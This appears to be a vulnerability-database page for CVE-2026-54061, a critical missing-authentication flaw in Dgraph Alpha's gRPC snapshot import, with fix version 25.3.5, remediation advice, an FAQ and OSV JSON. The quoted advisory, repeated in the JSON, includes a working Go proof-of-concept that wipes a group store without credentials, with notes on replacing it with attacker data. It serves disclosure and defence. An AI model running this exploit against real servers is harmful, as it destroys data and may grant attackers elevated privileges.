CVE-2026-54061: Github.com/dgraph io/dgraph/v25 Dgraph Alpha Group Stores Can Vulnerability

CRITICAL
Advisory Identifier: GHSA-rrwh-6jrq-wp5v
CVSS 9.1
CWE-306
Published
Advisory Summary

CVE-2026-54061 is a CRITICAL (CVSS 9.1) dgraph alpha group stores can vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Github.com/dgraph io/dgraph/v25 libraries in the Go ecosystem. The issue involves dgraph alpha group stores can be replaced via unauthenticated external snapshot import. Remediation is available by upgrading affected packages to version 25.3.5.

CVE-2026-54061 at a Glance

CVE Identifier CVE-2026-54061
GHSA Identifier GHSA-rrwh-6jrq-wp5v
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Github.com/dgraph io/dgraph/v25
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54061

To remediate this vulnerability, upgrade all affected Github.com/dgraph io/dgraph/v25 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/dgraph-io/dgraph/v25 fixed: 25.3.5
Upgrade github.com/dgraph-io/dgraph/v25 to 25.3.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/dgraph-io/dgraph/v25

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54061, inspect your project dependencies for Github.com/dgraph io/dgraph/v25:

inspect dependencies for github.com/dgraph-io/dgraph/v25

Analyze the terminal output to locate any version of Github.com/dgraph io/dgraph/v25 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 25.3.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Github.com/dgraph io/dgraph/v25, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. ## Root Cause The root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations. Streaming RPCs such as `StreamExtSnapshot` do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger’s `StreamWriter.Prepare()` on the target group store. This operation deletes the existing database, allowing the attacker’s stream to potentially replace the store. ## Steps to Reproduce Preconditions: - A throwaway Dgraph Alpha is reachable on its public gRPC port, default `:9080` - Public gRPC mTLS is not enabled - No Dgraph ACL token, JWT, or gRPC `auth-token` metadata is used by the client 1. Start a throwaway standalone Dgraph instance from the tested build and insert synthetic data. ```bash # Example if the tested source tree is built and tagged locally. docker run --rm -p 8080:8080 -p 9080:9080 \ -v "$PWD/dgraph-ext-snapshot-poc:/dgraph" \ dgraph-standalone:2b6d6328d ``` For example, insert a harmless record. ```bash curl -sS -X POST "http://127.0.0.1:8080/mutate?commitNow=true" \ -H "Content-Type: application/rdf" \ --data-binary $'{ set { _:poc <name> "before-import" . } }' ``` 2. From an unauthenticated client, open `Dgraph.StreamExtSnapshot` and select group 1 as the target group. ```go package main import ( "context" "fmt" "io" "log" "github.com/dgraph-io/dgo/v250" "github.com/dgraph-io/dgo/v250/protos/api" ) func main() { ctx := context.Background() // No JWT or auth metadata is attached. dg, err := dgo.Open("dgraph://127.0.0.1:9080") if err != nil { log.Fatal(err) } defer dg.Close() client := dg.GetAPIClients()[0] stream, err := client.StreamExtSnapshot(ctx) if err != nil { log.Fatal(err) } if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil { log.Fatal(err) } if _, err := stream.Recv(); err != nil { log.Fatal(err) } // Complete an empty external snapshot stream. On the server side, // the local subscriber calls StreamWriter.Prepare() before consuming // packets from the stream. if err := stream.Send(&api.StreamExtSnapshotRequest{ Pkt: &api.StreamPacket{Done: true}, }); err != nil { log.Fatal(err) } for { resp, err := stream.Recv() if err == io.EOF { break } if err != nil { log.Fatal(err) } if resp.GetFinish() { fmt.Println("unauthenticated external snapshot stream finished") break } } } ``` Observed result: - The unauthenticated stream is accepted. - No prior `UpdateExtSnapshotStreamingState(Start)` call is required. - `worker.runLocalSubscriber(...)` calls `pstore.NewStreamWriter().Prepare()`. - Badger drops the existing target group DB before the stream completes. - The synthetic data that existed before the stream is no longer served from the cleared group store. The official import client demonstrates the same wire format and call order: `dgraph/cmd/dgraphimport/import_client.go` opens `dgo.Open(...)`, calls `StreamExtSnapshot`, sends a first `GroupId` message, and then streams `api.StreamPacket.Data` chunks followed by `Done: true`. This Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in `api.StreamPacket.Data` before `Done: true`. ## Impact An unauthenticated attacker who can reach Alpha’s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph’s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation. ## Suggested Remediation 1. Require administrator authorization before `UpdateExtSnapshotStreamingState` calls `worker.ProposeDrain(...)`. 2. Require the same authorization at the start of `StreamExtSnapshot` using `stream.Context()`. 3. Add a gRPC stream interceptor so streaming RPCs receive the same auth and audit treatment as unary RPCs. 4. Reject `StreamExtSnapshot` unless import mode was explicitly armed by an authorized request.

CVE-2026-54061 Affected Github.com/dgraph io/dgraph/v25 Versions

1 component(s)
Fixed Versions:
25.3.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/dgraph-io/dgraph/v25
Go
< 25.3.5
25.3.5

References

Frequently Asked Questions

What is CVE-2026-54061?
CVE-2026-54061 is a security vulnerability in Github.com/dgraph io/dgraph/v25 involving Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import under CWE-306: Missing Authentication for Critical Function.
Which Github.com/dgraph io/dgraph/v25 versions are affected?
Affected versions include releases prior to 25.3.5 across affected packages: github.com/dgraph-io/dgraph/v25.
What version fixes CVE-2026-54061?
Upgrading to 25.3.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/dgraph-io/dgraph/v25 affected?
Yes, github.com/dgraph-io/dgraph/v25 is affected in releases prior to 25.3.5. Upgrade your dependency to 25.3.5 or later.
What is the CVSS score of CVE-2026-54061?
CVE-2026-54061 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-54061?
CVE-2026-54061 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check Go dependencies for CVE-2026-54061?
Run the dependency tree command: 'inspect dependencies for github.com/dgraph-io/dgraph/v25'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rrwh-6jrq-wp5v",
  "modified" : "2026-08-20T17:29:00Z",
  "published" : "2026-08-20T17:29:00Z",
  "aliases" : [ "CVE-2026-54061" ],
  "summary" : "Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import",
  "details" : "## Summary\n\nDgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group’s store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data.\n\n## Root Cause\n\nThe root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations.\n\nStreaming RPCs such as `StreamExtSnapshot` do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger’s `StreamWriter.Prepare()` on the target group store. This operation deletes the existing database, allowing the attacker’s stream to potentially replace the store.\n\n## Steps to Reproduce\n\nPreconditions:\n\n- A throwaway Dgraph Alpha is reachable on its public gRPC port, default `:9080`\n- Public gRPC mTLS is not enabled\n- No Dgraph ACL token, JWT, or gRPC `auth-token` metadata is used by the client\n\n1. Start a throwaway standalone Dgraph instance from the tested build and insert synthetic data.\n\n```bash\n# Example if the tested source tree is built and tagged locally.\ndocker run --rm -p 8080:8080 -p 9080:9080 \\\n  -v \"$PWD/dgraph-ext-snapshot-poc:/dgraph\" \\\n  dgraph-standalone:2b6d6328d\n```\n\nFor example, insert a harmless record.\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:8080/mutate?commitNow=true\" \\\n  -H \"Content-Type: application/rdf\" \\\n  --data-binary $'{ set { _:poc <name> \"before-import\" . } }'\n```\n\n2. From an unauthenticated client, open `Dgraph.StreamExtSnapshot` and select group 1 as the target group.\n\n```go\npackage main\n\nimport (\n    \"context\"\n    \"fmt\"\n    \"io\"\n    \"log\"\n\n    \"github.com/dgraph-io/dgo/v250\"\n    \"github.com/dgraph-io/dgo/v250/protos/api\"\n)\n\nfunc main() {\n    ctx := context.Background()\n\n    // No JWT or auth metadata is attached.\n    dg, err := dgo.Open(\"dgraph://127.0.0.1:9080\")\n    if err != nil {\n        log.Fatal(err)\n    }\n    defer dg.Close()\n\n    client := dg.GetAPIClients()[0]\n    stream, err := client.StreamExtSnapshot(ctx)\n    if err != nil {\n        log.Fatal(err)\n    }\n\n    if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {\n        log.Fatal(err)\n    }\n    if _, err := stream.Recv(); err != nil {\n        log.Fatal(err)\n    }\n\n    // Complete an empty external snapshot stream. On the server side,\n    // the local subscriber calls StreamWriter.Prepare() before consuming\n    // packets from the stream.\n    if err := stream.Send(&api.StreamExtSnapshotRequest{\n        Pkt: &api.StreamPacket{Done: true},\n    }); err != nil {\n        log.Fatal(err)\n    }\n\n    for {\n        resp, err := stream.Recv()\n        if err == io.EOF {\n            break\n        }\n        if err != nil {\n            log.Fatal(err)\n        }\n        if resp.GetFinish() {\n            fmt.Println(\"unauthenticated external snapshot stream finished\")\n            break\n        }\n    }\n}\n```\n\nObserved result:\n\n- The unauthenticated stream is accepted.\n- No prior `UpdateExtSnapshotStreamingState(Start)` call is required.\n- `worker.runLocalSubscriber(...)` calls `pstore.NewStreamWriter().Prepare()`.\n- Badger drops the existing target group DB before the stream completes.\n- The synthetic data that existed before the stream is no longer served from the cleared group store.\n\nThe official import client demonstrates the same wire format and call order: `dgraph/cmd/dgraphimport/import_client.go` opens `dgo.Open(...)`, calls `StreamExtSnapshot`, sends a first `GroupId` message, and then streams `api.StreamPacket.Data` chunks followed by `Done: true`.\n\nThis Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in `api.StreamPacket.Data` before `Done: true`.\n\n## Impact\n\nAn unauthenticated attacker who can reach Alpha’s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph’s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation.\n\n## Suggested Remediation\n\n1. Require administrator authorization before `UpdateExtSnapshotStreamingState` calls `worker.ProposeDrain(...)`.\n2. Require the same authorization at the start of `StreamExtSnapshot` using `stream.Context()`.\n3. Add a gRPC stream interceptor so streaming RPCs receive the same auth and audit treatment as unary RPCs.\n4. Reject `StreamExtSnapshot` unless import mode was explicitly armed by an authorized request.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dgraph-io/dgraph/v25"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "25.3.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 25.3.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-rrwh-6jrq-wp5v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54061"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dgraph-io/dgraph"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-20T17:29:00Z",
    "nvd_published_at" : "2026-07-08T14:17:06Z"
  }
}